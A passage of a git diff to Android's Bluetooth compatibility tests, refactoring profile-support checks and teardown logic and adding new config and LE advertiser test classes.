+        if (!(mHasBluetooth && mIsA2dpSinkSupported)) {
+            return;
+        }
         if (mAdapter != null && mBluetoothA2dpSink != null) {
             mAdapter.closeProfileProxy(BluetoothProfile.A2DP_SINK, mBluetoothA2dpSink);
             mBluetoothA2dpSink = null;
             mIsProfileReady = false;
         }
         mUiAutomation.adoptShellPermissionIdentity(BLUETOOTH_CONNECT);
-        assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+        if (mAdapter != null) {
+            assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+        }
         mUiAutomation.dropShellPermissionIdentity();
         mAdapter = null;
     }
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothA2dpTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothA2dpTest.java
index ec46c51..6d94b3f 100644
--- a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothA2dpTest.java
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothA2dpTest.java
@@ -21,12 +21,9 @@
 import android.app.UiAutomation;
 import android.bluetooth.BluetoothA2dp;
 import android.bluetooth.BluetoothAdapter;
-import android.bluetooth.BluetoothCodecConfig;
 import android.bluetooth.BluetoothDevice;
 import android.bluetooth.BluetoothManager;
 import android.bluetooth.BluetoothProfile;
-import android.content.pm.PackageManager;
-import android.content.res.Resources;
 import android.test.AndroidTestCase;
 import android.util.Log;
 
@@ -41,11 +38,10 @@
     private static final String TAG = BluetoothA2dpTest.class.getSimpleName();
 
     private static final int PROXY_CONNECTION_TIMEOUT_MS = 500;  // ms timeout for Proxy Connect
-    private static final String PROFILE_SUPPORTED_A2DP = "profile_supported_a2dp";
 
     private boolean mHasBluetooth;
     private BluetoothAdapter mAdapter;
-    private UiAutomation mUiAutomation;;
+    private UiAutomation mUiAutomation;
 
     private BluetoothA2dp mBluetoothA2dp;
     private boolean mIsA2dpSupported;
@@ -56,10 +52,13 @@
     @Override
     public void setUp() throws Exception {
         super.setUp();
-        mHasBluetooth = getContext().getPackageManager().hasSystemFeature(
-                PackageManager.FEATURE_BLUETOOTH);
 
+        mHasBluetooth = TestUtils.hasBluetooth();
         if (!mHasBluetooth) return;
+
+        mIsA2dpSupported = TestUtils.isProfileEnabled(BluetoothProfile.A2DP);
+        if (!mIsA2dpSupported) return;
+
         mUiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
         mUiAutomation.adoptShellPermissionIdentity(BLUETOOTH_CONNECT);
 
@@ -72,14 +71,6 @@
         mIsProfileReady = false;
         mBluetoothA2dp = null;
 
-        Resources bluetoothResources = mContext.getPackageManager().getResourcesForApplication(
-                "com.android.bluetooth");
-        int a2dpSupportId = bluetoothResources.getIdentifier(
-                PROFILE_SUPPORTED_A2DP, "bool", "com.android.bluetooth");
-        assertTrue("resource profile_supported_a2dp not found", a2dpSupportId != 0);
-        mIsA2dpSupported = bluetoothResources.getBoolean(a2dpSupportId);
-        if (!mIsA2dpSupported) return;
-
         mAdapter.getProfileProxy(getContext(), new BluetoothA2dpServiceListener(),
                 BluetoothProfile.A2DP);
     }
@@ -87,16 +78,19 @@
     @Override
     public void tearDown() throws Exception {
         super.tearDown();
-        if (mHasBluetooth) {
-            if (mAdapter != null && mBluetoothA2dp != null) {
-                mAdapter.closeProfileProxy(BluetoothProfile.A2DP, mBluetoothA2dp);
-                mBluetoothA2dp = null;
-                mIsProfileReady = false;
-            }
-            assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
-            mAdapter = null;
-            mUiAutomation.dropShellPermissionIdentity();
+        if (!(mHasBluetooth && mIsA2dpSupported)) {
+            return;
         }
+        if (mAdapter != null && mBluetoothA2dp != null) {
+            mAdapter.closeProfileProxy(BluetoothProfile.A2DP, mBluetoothA2dp);
+            mBluetoothA2dp = null;
+            mIsProfileReady = false;
+        }
+        if (mAdapter != null) {
+            assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+        }
+        mAdapter = null;
+        mUiAutomation.dropShellPermissionIdentity();
     }
 
     public void test_getConnectedDevices() {
@@ -151,7 +145,7 @@
 
         BluetoothDevice testDevice = mAdapter.getRemoteDevice("00:11:22:AA:BB:CC");
 
-        assertThrows(SecurityException.class, () -> mBluetoothA2dp.getCodecStatus(testDevice));
+        assertNull(mBluetoothA2dp.getCodecStatus(testDevice));
         assertThrows(IllegalArgumentException.class, () -> {
             mBluetoothA2dp.getCodecStatus(null);
         });
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothConfigTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothConfigTest.java
new file mode 100644
index 0000000..f6336bf
--- /dev/null
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothConfigTest.java
@@ -0,0 +1,185 @@
+/*
+ * Copyright 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.bluetooth.cts;
+
+import static android.Manifest.permission.BLUETOOTH_CONNECT;
+import static android.Manifest.permission.BLUETOOTH_PRIVILEGED;
+
+import android.app.UiAutomation;
+import android.bluetooth.BluetoothAdapter;
+import android.bluetooth.BluetoothManager;
+import android.bluetooth.BluetoothProfile;
+import android.bluetooth.BluetoothStatusCodes;
+import android.sysprop.BluetoothProperties;
+import android.test.AndroidTestCase;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+
+import java.lang.invoke.MethodHandles;
+import java.util.List;
+
+public class BluetoothConfigTest extends AndroidTestCase {
+    private static final String TAG = MethodHandles.lookup().lookupClass().getSimpleName();
+
+    private boolean mHasBluetooth;
+    private BluetoothAdapter mAdapter;
+    private UiAutomation mUiAutomation;
+
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+
+        mHasBluetooth = TestUtils.hasBluetooth();
+        if (!mHasBluetooth) return;
+
+        mUiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        mUiAutomation.adoptShellPermissionIdentity(BLUETOOTH_CONNECT);
+
+        BluetoothManager manager = getContext().getSystemService(BluetoothManager.class);
+        mAdapter = manager.getAdapter();
+        assertTrue(BTAdapterUtils.enableAdapter(mAdapter, mContext));
+    }
+
+    @Override
+    public void tearDown() throws Exception {
+        super.tearDown();
+        if (!mHasBluetooth) return;
+
+        assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+        mAdapter = null;
+        mUiAutomation.dropShellPermissionIdentity();
+    }
+
+    private int checkIsProfileEnabledInList(int profile, List<Integer> supportedProfiles) {
+        final boolean isEnabled = TestUtils.isProfileEnabled(profile);
+        final boolean isSupported = supportedProfiles.contains(profile);
+
+        if (isEnabled == isSupported) {
+            return 0;
+        }
+        Log.e(TAG, "Profile config does not match for profile: "
+                + BluetoothProfile.getProfileName(profile)
+                + ". Config currently return: " + isEnabled
+                + ". Is profile in the list: " + isSupported);
+        return 1;
+    }
+
+    public void testProfileEnabledValueInList() {
+        if (!mHasBluetooth) {
+            return;
+        }
+        mUiAutomation.adoptShellPermissionIdentity(BLUETOOTH_CONNECT, BLUETOOTH_PRIVILEGED);
+        final List<Integer> pList = mAdapter.getSupportedProfiles();
+        int wrong_config_in_list = checkIsProfileEnabledInList(BluetoothProfile.A2DP, pList)
+            + checkIsProfileEnabledInList(BluetoothProfile.A2DP_SINK, pList)
+            + checkIsProfileEnabledInList(BluetoothProfile.AVRCP_CONTROLLER, pList)
+            + checkIsProfileEnabledInList(BluetoothProfile.CSIP_SET_COORDINATOR, pList)
+            + checkIsProfileEnabledInList(BluetoothProfile.GATT, pList)
+            + checkIsProfileEnabledInList(BluetoothProfile.HAP_CLIENT, pList)
+            + checkIsProfileEnabledInList(BluetoothProfile.HEADSET, pList)
+            + checkIsProfileEnabledInList(BluetoothProfile.HEADSET_CLIENT, pList)
+            + checkIsProfileEnabledInList(BluetoothProfile.HEARING_AID, pList)
+            + checkIsProfileEnabledInList(BluetoothProfile.HID_DEVICE, pList)
+            + checkIsProfileEnabledInList(BluetoothProfile.HID_HOST, pList)
+            + checkIsProfileEnabledInList(BluetoothProfile.LE_AUDIO, pList)
+            + checkIsProfileEnabledInList(BluetoothProfile.LE_AUDIO_BROADCAST, pList)
+            + checkIsProfileEnabledInList(BluetoothProfile.LE_AUDIO_BROADCAST_ASSISTANT, pList)
+            + checkIsProfileEnabledInList(BluetoothProfile.MAP, pList)
+            + checkIsProfileEnabledInList(BluetoothProfile.MAP_CLIENT, pList)
+            + checkIsProfileEnabledInList(BluetoothProfile.OPP, pList)
+            + checkIsProfileEnabledInList(BluetoothProfile.PAN, pList)
+            + checkIsProfileEnabledInList(BluetoothProfile.PBAP, pList)
+            + checkIsProfileEnabledInList(BluetoothProfile.PBAP_CLIENT, pList)
+            + checkIsProfileEnabledInList(BluetoothProfile.SAP, pList)
+            + checkIsProfileEnabledInList(BluetoothProfile.VOLUME_CONTROL, pList);
+
+        assertEquals("Config does not match adapter hardware support. CHECK THE PREVIOUS LOGS.",
+                0, wrong_config_in_list);
+    }
+
+    private int checkIsProfileEnabled(int profile, int adapterSupport) {
+        final boolean isEnabled = TestUtils.isProfileEnabled(profile);
+        final boolean isSupported = BluetoothStatusCodes.FEATURE_SUPPORTED == adapterSupport;
+
+        if (isEnabled == isSupported) {
+            return 0;
+        }
+        Log.e(TAG, "Profile config does not match for profile: "
+                + BluetoothProfile.getProfileName(profile)
+                + ". Config currently return: " + TestUtils.isProfileEnabled(profile)
+                + ". Adapter support return: " + adapterSupport);
+        return 1;
+    }
+
+    public void testProfileEnabledValue() {
+        if (!mHasBluetooth) {
+            return;
+        }
+        int wrong_config =
+            checkIsProfileEnabled(BluetoothProfile.LE_AUDIO,
+                    mAdapter.isLeAudioSupported())
+            + checkIsProfileEnabled(BluetoothProfile.LE_AUDIO_BROADCAST,
+                    mAdapter.isLeAudioBroadcastSourceSupported())
+            + checkIsProfileEnabled(BluetoothProfile.LE_AUDIO_BROADCAST_ASSISTANT,
+                    mAdapter.isLeAudioBroadcastAssistantSupported());
+
+        assertEquals("Config does not match adapter hardware support. CHECK THE PREVIOUS LOGS.",
+                0, wrong_config);
+    }
+
+    public void testBleCDDRequirement() {
+        if (!mHasBluetooth) {
+            return;
+        }
+
+        // If device implementations return true for isLeAudioSupported():
+        // [C-7-5] MUST enable simultaneously:
+        //      BAP unicast client,
+        //      CSIP set coordinator,
+        //      MCP server,
+        //      VCP controller,
+        //      CCP server,
+        if (mAdapter.isLeAudioSupported()
+                == BluetoothStatusCodes.FEATURE_SUPPORTED) {
+            assertTrue("BAP unicast config must be true when LeAudio is supported. [C-7-5]",
+                    BluetoothProperties.isProfileBapUnicastClientEnabled().orElse(false));
+            assertTrue("CSIP config must be true when LeAudio is supported. [C-7-5]",
+                    BluetoothProperties.isProfileCsipSetCoordinatorEnabled().orElse(false));
+            assertTrue("MCP config must be true when LeAudio is supported. [C-7-5]",
+                    BluetoothProperties.isProfileMcpServerEnabled().orElse(false));
+            assertTrue("VCP config must be true when LeAudio is supported. [C-7-5]",
+                    BluetoothProperties.isProfileVcpControllerEnabled().orElse(false));
+            assertTrue("CCP config must be true when LeAudio is supported. [C-7-5]",
+                    BluetoothProperties.isProfileCcpServerEnabled().orElse(false));
+        }
+
+        // If device implementations return true for isLeAudioBroadcastSourceSupported():
+        // [C-8-2] MUST enable simultaneously:
+        //      BAP broadcast source,
+        //      BAP broadcast assistant
+        if (mAdapter.isLeAudioBroadcastSourceSupported()
+                == BluetoothStatusCodes.FEATURE_SUPPORTED) {
+            assertTrue("BAP broadcast source config must be true when adapter support "
+                    + "BroadcastSource. [C-8-2]",
+                    BluetoothProperties.isProfileBapBroadcastSourceEnabled().orElse(false));
+            assertTrue("BAP broadcast assistant config must be true when adapter support "
+                    + "BroadcastSource. [C-8-2]",
+                    BluetoothProperties.isProfileBapBroadcastAssistEnabled().orElse(false));
+        }
+    }
+}
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothCsipSetCoordinatorTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothCsipSetCoordinatorTest.java
index fa96ddf..af9cd9a 100644
--- a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothCsipSetCoordinatorTest.java
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothCsipSetCoordinatorTest.java
@@ -21,22 +21,19 @@
 
 import static org.junit.Assert.assertThrows;
 
-import android.app.UiAutomation;
 import android.bluetooth.BluetoothAdapter;
-import android.bluetooth.BluetoothDevice;
 import android.bluetooth.BluetoothCsipSetCoordinator;
+import android.bluetooth.BluetoothDevice;
 import android.bluetooth.BluetoothManager;
 import android.bluetooth.BluetoothProfile;
+import android.bluetooth.BluetoothStatusCodes;
 import android.bluetooth.BluetoothUuid;
 import android.content.pm.PackageManager;
-import android.content.res.Resources;
 import android.os.Build;
 import android.os.ParcelUuid;
 import android.test.AndroidTestCase;
 import android.util.Log;
 
-import androidx.test.InstrumentationRegistry;
-
 import com.android.compatibility.common.util.ApiLevelUtil;
 
 import java.util.List;
@@ -99,10 +96,11 @@
             mBluetoothCsipSetCoordinator = null;
 
             boolean isLeAudioSupportedInConfig =
-                     TestUtils.getProfileConfigValueOrDie(BluetoothProfile.LE_AUDIO);
+                     TestUtils.isProfileEnabled(BluetoothProfile.LE_AUDIO);
             boolean isCsipConfigEnabled =
-                     TestUtils.getProfileConfigValueOrDie(BluetoothProfile.CSIP_SET_COORDINATOR);
+                     TestUtils.isProfileEnabled(BluetoothProfile.CSIP_SET_COORDINATOR);
             if (isLeAudioSupportedInConfig) {
+                assertEquals(BluetoothStatusCodes.FEATURE_SUPPORTED, mAdapter.isLeAudioSupported());
                 /* If Le Audio is supported then CSIP shall be supported */
                 assertTrue("Config must be true when profile is supported", isCsipConfigEnabled);
             }
@@ -129,6 +127,7 @@
                 mIsProfileReady = false;
                 mTestDevice = null;
                 mIsLocked = false;
+                mTestOperationStatus = 0;
                 mTestCallback = null;
                 mTestExecutor = null;
             }
@@ -211,9 +210,19 @@
         TestUtils.adoptPermissionAsShellUid(BLUETOOTH_CONNECT, BLUETOOTH_PRIVILEGED);
 
         // Lock group
+        mIsLocked = false;
+        mTestOperationStatus = BluetoothStatusCodes.ERROR_CSIP_INVALID_GROUP_ID;
         try {
-            UUID uuid = mBluetoothCsipSetCoordinator.lockGroup(mTestGroupId,
+            mBluetoothCsipSetCoordinator.lockGroup(mTestGroupId,
                     mTestExecutor, mTestCallback);
+        } catch (Exception e) {
+            fail("Exception caught from register(): " + e.toString());
+        }
+
+        long uuidLsb = 0x01;
+        long uuidMsb = 0x01;
+        UUID uuid = new UUID(uuidMsb, uuidLsb);
+        try {
             mBluetoothCsipSetCoordinator.unlockGroup(uuid);
         } catch (Exception e) {
             fail("Exception caught from register(): " + e.toString());
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothDeviceTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothDeviceTest.java
index d7a4712..927cb50 100644
--- a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothDeviceTest.java
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothDeviceTest.java
@@ -315,8 +315,7 @@
             return;
         }
 
-        assertNotNull(mFakeDevice.getUuids());
-        assertEquals(0, mFakeDevice.getUuids().length);
+        assertNull(mFakeDevice.getUuids());
         mUiAutomation.dropShellPermissionIdentity();
         assertThrows(SecurityException.class, () -> mFakeDevice.getUuids());
         mUiAutomation.adoptShellPermissionIdentity(BLUETOOTH_CONNECT);
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothHapClientTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothHapClientTest.java
index 0a10bed..fb5f241 100644
--- a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothHapClientTest.java
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothHapClientTest.java
@@ -98,7 +98,7 @@
             return;
         }
 
-        mIsHapClientSupported = TestUtils.getProfileConfigValueOrDie(BluetoothProfile.HAP_CLIENT);
+        mIsHapClientSupported = TestUtils.isProfileEnabled(BluetoothProfile.HAP_CLIENT);
         if (!mIsHapClientSupported) {
             return;
         }
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothHapPresetInfoTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothHapPresetInfoTest.java
index afafa39..80f4bbd 100644
--- a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothHapPresetInfoTest.java
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothHapPresetInfoTest.java
@@ -61,20 +61,27 @@
         if (!mHasBluetooth) {
             return;
         }
+
+        mIsHapSupported = TestUtils.isProfileEnabled(BluetoothProfile.HAP_CLIENT);
+        if (!mIsHapSupported) {
+            return;
+        }
+
         TestUtils.adoptPermissionAsShellUid(BLUETOOTH_CONNECT);
         mAdapter = TestUtils.getBluetoothAdapterOrDie();
         assertTrue(BTAdapterUtils.enableAdapter(mAdapter, mContext));
-
-        mIsHapSupported = TestUtils.getProfileConfigValueOrDie(BluetoothProfile.HAP_CLIENT);
     }
 
     @After
     public void tearDown() {
-        if (mHasBluetooth) {
-            assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
-            mAdapter = null;
-            TestUtils.dropPermissionAsShellUid();
+        if (!(mHasBluetooth && mIsHapSupported)) {
+            return;
         }
+        if (mAdapter != null) {
+            assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+        }
+        mAdapter = null;
+        TestUtils.dropPermissionAsShellUid();
     }
 
     @Test
@@ -95,8 +102,9 @@
         Parcel out = Parcel.obtain();
         out.writeInt(presetIndex);
         out.writeString(presetName);
-        out.writeBoolean(isAvailable);
         out.writeBoolean(isWritable);
+        out.writeBoolean(isAvailable);
+        out.setDataPosition(0); // reset position of parcel before passing to constructor
         return BluetoothHapPresetInfo.CREATOR.createFromParcel(out);
     }
 
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothHeadsetTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothHeadsetTest.java
index 8536e9d..6925d9e 100644
--- a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothHeadsetTest.java
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothHeadsetTest.java
@@ -19,13 +19,12 @@
 import static android.Manifest.permission.BLUETOOTH_CONNECT;
 
 import android.app.UiAutomation;
-import android.bluetooth.BluetoothHeadset;
 import android.bluetooth.BluetoothAdapter;
 import android.bluetooth.BluetoothDevice;
+import android.bluetooth.BluetoothHeadset;
 import android.bluetooth.BluetoothManager;
 import android.bluetooth.BluetoothProfile;
 import android.content.pm.PackageManager;
-import android.content.res.Resources;
 import android.test.AndroidTestCase;
 import android.util.Log;
 
@@ -40,7 +39,6 @@
     private static final String TAG = BluetoothHeadsetTest.class.getSimpleName();
 
     private static final int PROXY_CONNECTION_TIMEOUT_MS = 500;  // ms timeout for Proxy Connect
-    private static final String PROFILE_SUPPORTED_HEADSET = "profile_supported_hs_hfp";
 
     private boolean mHasBluetooth;
     private BluetoothAdapter mAdapter;
@@ -57,8 +55,11 @@
         super.setUp();
         mHasBluetooth = getContext().getPackageManager().hasSystemFeature(
                 PackageManager.FEATURE_BLUETOOTH);
-
         if (!mHasBluetooth) return;
+
+        mIsHeadsetSupported = TestUtils.isProfileEnabled(BluetoothProfile.HEADSET);
+        if (!mIsHeadsetSupported) return;
+
         mUiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
         mUiAutomation.adoptShellPermissionIdentity(BLUETOOTH_CONNECT);
 
@@ -71,14 +72,6 @@
         mIsProfileReady = false;
         mBluetoothHeadset = null;
 
-        Resources bluetoothResources = mContext.getPackageManager().getResourcesForApplication(
-                "com.android.bluetooth");
-        int headsetSupportId = bluetoothResources.getIdentifier(
-                PROFILE_SUPPORTED_HEADSET, "bool", "com.android.bluetooth");
-        assertTrue("resource profile_supported_hs_hfp not found", headsetSupportId != 0);
-        mIsHeadsetSupported = bluetoothResources.getBoolean(headsetSupportId);
-        if (!mIsHeadsetSupported) return;
-
         mAdapter.getProfileProxy(getContext(), new BluetoothHeadsetServiceListener(),
                 BluetoothProfile.HEADSET);
     }
@@ -86,16 +79,19 @@
     @Override
     public void tearDown() throws Exception {
         super.tearDown();
-        if (mHasBluetooth) {
-            if (mAdapter != null && mBluetoothHeadset != null) {
-                mAdapter.closeProfileProxy(BluetoothProfile.HEADSET, mBluetoothHeadset);
-                mBluetoothHeadset = null;
-                mIsProfileReady = false;
-            }
-            assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
-            mAdapter = null;
-            mUiAutomation.dropShellPermissionIdentity();
+        if (!(mHasBluetooth && mIsHeadsetSupported)) {
+            return;
         }
+        if (mAdapter != null && mBluetoothHeadset != null) {
+            mAdapter.closeProfileProxy(BluetoothProfile.HEADSET, mBluetoothHeadset);
+            mBluetoothHeadset = null;
+            mIsProfileReady = false;
+        }
+        if (mAdapter != null) {
+            assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+        }
+        mAdapter = null;
+        mUiAutomation.dropShellPermissionIdentity();
     }
 
     public void test_getConnectedDevices() {
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothHidDeviceTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothHidDeviceTest.java
index e512d25..1a258bc 100644
--- a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothHidDeviceTest.java
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothHidDeviceTest.java
@@ -39,7 +39,6 @@
 import android.bluetooth.BluetoothManager;
 import android.bluetooth.BluetoothProfile;
 import android.content.pm.PackageManager;
-import android.content.res.Resources;
 import android.test.AndroidTestCase;
 import android.util.Log;
 
@@ -56,7 +55,6 @@
     private static final String TAG = BluetoothHidDevice.class.getSimpleName();
 
     private static final int PROXY_CONNECTION_TIMEOUT_MS = 500;  // ms timeout for Proxy Connect
-    private static final String PROFILE_SUPPORTED_HID_DEVICE = "profile_supported_hid_device";
 
     private boolean mHasBluetooth;
     private boolean mIsHidSupported;
@@ -76,6 +74,10 @@
         mHasBluetooth =
                 getContext().getPackageManager().hasSystemFeature(PackageManager.FEATURE_BLUETOOTH);
         if (!mHasBluetooth) return;
+
+        mIsHidSupported = TestUtils.isProfileEnabled(BluetoothProfile.HID_DEVICE);
+        if (!mIsHidSupported) return;
+
         mUiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
         mUiAutomation.adoptShellPermissionIdentity(BLUETOOTH_CONNECT);
 
@@ -89,13 +91,6 @@
         mBluetoothHidDevice = null;
         mExecutor = Executors.newSingleThreadExecutor();
 
-        Resources bluetoothResources = mContext.getPackageManager().getResourcesForApplication(
-                "com.android.bluetooth");
-        int hidSupportId = bluetoothResources.getIdentifier(PROFILE_SUPPORTED_HID_DEVICE, "bool",
-                "com.android.bluetooth");
-        mIsHidSupported = bluetoothResources.getBoolean(hidSupportId);
-        if (!mIsHidSupported) return;
-
         mAdapter.getProfileProxy(getContext(), new BluetoothHidServiceListener(),
                 BluetoothProfile.HID_DEVICE);
     }
@@ -103,17 +98,20 @@
     @Override
     public void tearDown() throws Exception {
         super.tearDown();
-        if (mHasBluetooth) {
-            if (mAdapter != null && mBluetoothHidDevice != null) {
-                mAdapter.closeProfileProxy(BluetoothProfile.HID_DEVICE, mBluetoothHidDevice);
-                mBluetoothHidDevice = null;
-                mIsProfileReady = false;
-            }
-            mUiAutomation.adoptShellPermissionIdentity(BLUETOOTH_CONNECT);
-            assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
-            mAdapter = null;
-            mUiAutomation.dropShellPermissionIdentity();
+        if (!(mHasBluetooth && mIsHidSupported)) {
+            return;
         }
+        if (mAdapter != null && mBluetoothHidDevice != null) {
+            mAdapter.closeProfileProxy(BluetoothProfile.HID_DEVICE, mBluetoothHidDevice);
+            mBluetoothHidDevice = null;
+            mIsProfileReady = false;
+        }
+        mUiAutomation.adoptShellPermissionIdentity(BLUETOOTH_CONNECT);
+        if (mAdapter != null) {
+            assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+        }
+        mAdapter = null;
+        mUiAutomation.dropShellPermissionIdentity();
     }
 
     public void test_getDevicesMatchingConnectionStates() {
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeAdvertiserTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeAdvertiserTest.java
new file mode 100644
index 0000000..e7f59b8
--- /dev/null
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeAdvertiserTest.java
@@ -0,0 +1,150 @@
+/*
+ * Copyright 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.bluetooth.cts;
+
+import static android.Manifest.permission.BLUETOOTH_ADVERTISE;
+import static android.Manifest.permission.BLUETOOTH_CONNECT;
+import static android.bluetooth.le.AdvertisingSetCallback.ADVERTISE_SUCCESS;
+
+import android.app.UiAutomation;
+import android.bluetooth.BluetoothAdapter;
+import android.bluetooth.BluetoothManager;
+import android.bluetooth.le.AdvertisingSet;
+import android.bluetooth.le.AdvertisingSetCallback;
+import android.bluetooth.le.AdvertisingSetParameters;
+import android.bluetooth.le.BluetoothLeAdvertiser;
+import android.content.pm.PackageManager;
+import android.os.Handler;
+import android.os.Looper;
+import android.test.AndroidTestCase;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicInteger;
+import java.util.concurrent.atomic.AtomicReference;
+
+public class BluetoothLeAdvertiserTest extends AndroidTestCase {
+    private static final int TIMEOUT_MS = 5000;
+    private static final AdvertisingSetParameters ADVERTISING_SET_PARAMETERS =
+            new AdvertisingSetParameters.Builder().setLegacyMode(true).build();
+
+    private boolean mHasBluetooth;
+    private UiAutomation mUiAutomation;
+    private BluetoothAdapter mAdapter;
+    private BluetoothLeAdvertiser mAdvertiser;
+    private TestAdvertisingSetCallback mCallback;
+
+
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+        mHasBluetooth = getContext().getPackageManager().hasSystemFeature(
+                PackageManager.FEATURE_BLUETOOTH);
+        if (!mHasBluetooth) return;
+        mUiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        mUiAutomation.adoptShellPermissionIdentity(BLUETOOTH_CONNECT, BLUETOOTH_ADVERTISE);
+
+        BluetoothManager manager = getContext().getSystemService(BluetoothManager.class);
+        mAdapter = manager.getAdapter();
+        assertTrue(BTAdapterUtils.enableAdapter(mAdapter, mContext));
+        mAdvertiser = mAdapter.getBluetoothLeAdvertiser();
+        mCallback = new TestAdvertisingSetCallback();
+    }
+
+    public void tearDown() throws Exception {
+        super.tearDown();
+        if (mHasBluetooth) {
+            mAdvertiser.stopAdvertisingSet(mCallback);
+            assertTrue(mCallback.mAdvertisingSetStoppedLatch.await(TIMEOUT_MS,
+                    TimeUnit.MILLISECONDS));
+            assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+            mAdvertiser = null;
+            mAdapter = null;
+        }
+    }
+
+    public void test_startAdvertisingSetWithCallbackAndHandler() throws InterruptedException {
+        mAdvertiser.startAdvertisingSet(ADVERTISING_SET_PARAMETERS, null, null, null, null,
+                mCallback, new Handler(Looper.getMainLooper()));
+        assertTrue(mCallback.mAdvertisingSetStartedLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        assertEquals(ADVERTISE_SUCCESS, mCallback.mAdvertisingSetStartedStatus.get());
+        assertNotNull(mCallback.mAdvertisingSet);
+    }
+
+
+    public void test_startAdvertisingSetWithDurationAndCallback() throws InterruptedException {
+        mAdvertiser.startAdvertisingSet(ADVERTISING_SET_PARAMETERS, null, null, null, null,
+                0, 0, mCallback);
+        assertTrue(mCallback.mAdvertisingSetStartedLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        assertEquals(ADVERTISE_SUCCESS, mCallback.mAdvertisingSetStartedStatus.get());
+        assertNotNull(mCallback.mAdvertisingSet);
+    }
+
+
+    public void test_startAdvertisingSetWithDurationCallbackAndHandler()
+            throws InterruptedException {
+        mAdvertiser.startAdvertisingSet(ADVERTISING_SET_PARAMETERS, null, null, null, null,
+                0, 0, mCallback, new Handler(Looper.getMainLooper()));
+        assertTrue(mCallback.mAdvertisingSetStartedLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        assertEquals(ADVERTISE_SUCCESS, mCallback.mAdvertisingSetStartedStatus.get());
+        assertNotNull(mCallback.mAdvertisingSet);
+    }
+
+    private static class TestAdvertisingSetCallback extends AdvertisingSetCallback {
+        public CountDownLatch mAdvertisingSetStartedLatch = new CountDownLatch(1);
+        public CountDownLatch mAdvertisingEnabledLatch = new CountDownLatch(1);
